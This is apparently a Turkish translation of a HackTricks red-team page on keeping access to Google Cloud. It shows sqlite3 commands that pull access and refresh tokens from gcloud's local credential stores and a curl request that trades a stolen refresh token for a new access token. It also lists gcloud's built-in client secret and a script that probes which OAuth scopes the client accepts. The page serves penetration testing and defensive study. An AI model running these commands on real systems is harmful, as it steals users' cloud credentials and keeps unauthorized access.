GCP - Token Kalıcılığı

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Kimliği Doğrulanmış Kullanıcı Token’ları

Bir kullanıcının mevcut token’ını almak için şunu çalıştırabilirsiniz:

SQLite veritabanından access token'ı alın ```bash sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='';" ```

Bu sayfada bu token’ı gcloud kullanarak doğrudan nasıl kullanacağınızı inceleyin:

Cloud SSRF - HackTricks

Yeni bir access token oluşturmak için ayrıntıları almak üzere şu komutu çalıştırın:

SQLite veritabanından refresh token alın ```bash sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='';" ```

Ayrıca refresh tokens şu dosyalarda bulunabilir: $HOME/.config/gcloud/application_default_credentials.json ve $HOME/.config/gcloud/legacy_credentials/*/adc.json.

Yeni bir refreshed access token elde etmek için refresh token, client ID ve client secret ile şu komutu çalıştırın:

refresh token kullanarak yeni access token alın ```bash curl -s --data client_id= --data client_secret= --data grant_type=refresh_token --data refresh_token= --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token ```

Refresh tokens’in geçerliliği Admin > Security > Google Cloud session control üzerinden yönetilebilir; varsayılan olarak 16h olarak ayarlanmıştır ancak süresiz olarak ayarlanabilir:

Kimlik doğrulama akışı

gcloud auth login gibi bir komut kullanıldığında kimlik doğrulama akışı tarayıcıda bir pencere açar ve tüm kapsamları kabul ettikten sonra tarayıcı, aracın açtığı http porta aşağıdaki gibi bir istek gönderir:

/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1

Sonra, gcloud state ve code’u önceden sabitlenmiş bir client_id (32555940559.apps.googleusercontent.com) ve client_secret (ZmssLNjJy2998hD4CTg2ejr2) ile kullanarak final refresh token data’yı alacaktır.

Caution

localhost ile yapılan iletişimin HTTP üzerinden olduğunu unutmayın; bu yüzden veriyi yakalayarak refresh token elde etmek mümkün olabilir. Ancak bu veri yalnızca bir kez geçerlidir, bu yüzden bu işe yaramaz — refresh token’ı dosyadan okumak daha kolay olacaktır.

OAuth Kapsamları

Tüm Google kapsamlarını [https://developers.google.com/identity/protocols/oauth2/scopes] adresinde bulabilirsiniz veya şu komutu çalıştırarak alabilirsiniz:

Tüm Google OAuth kapsamlarını al ```bash curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u ```

Bu script ile gcloud’un kimlik doğrulama için kullandığı uygulamanın destekleyebileceği kapsamları görmek mümkündür:

gcloud için desteklenen kapsamları test et ```bash curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do echo -ne "Testing $scope \r" if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then echo "" echo $scope fi done ```

Bunu çalıştırdıktan sonra bu uygulamanın şu scopes’ları desteklediği kontrol edildi:

https://www.googleapis.com/auth/appengine.admin
https://www.googleapis.com/auth/bigquery
https://www.googleapis.com/auth/cloud-platform
https://www.googleapis.com/auth/compute
https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email

Bu uygulamanın drive scope’unu desteklemesi ilginç; eğer bir saldırgan kullanıcıyı bu scope ile bir token üretmeye zorlayabilirse kullanıcı GCP’den Workspace’e yükseltme yapabilir.

Nasıl istismar edileceğini buradan inceleyin.

Servis Hesapları

Yetkilendirilmiş kullanıcılar ile olduğu gibi, bir servis hesabının özel anahtar dosyasını ele geçirirseniz genellikle istediğiniz süre boyunca ona erişebilirsiniz.
Ancak, bir servis hesabının OAuth token’ını çalarsanız bu daha da ilginç olabilir; çünkü bu tokenlar varsayılan olarak sadece bir saat geçerli olsa bile, eğer hedef özel api key’i silerse, OAuth token’ı süresi dolana kadar hâlâ geçerli kalır.

Metadata

GCP ortamında çalışan bir makinenin içinde olduğunuz sürece, o makineye bağlı servis hesabına metadata endpoint ile erişebileceğinizi açıkça söylemeye gerek yok (bu endpoint’te erişebildiğiniz OAuth token’larının genellikle scope’larla kısıtlı olduğunu unutmayın).

Düzeltmeler

Bu teknikler için bazı düzeltmeler şu adreste açıklanmıştır https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin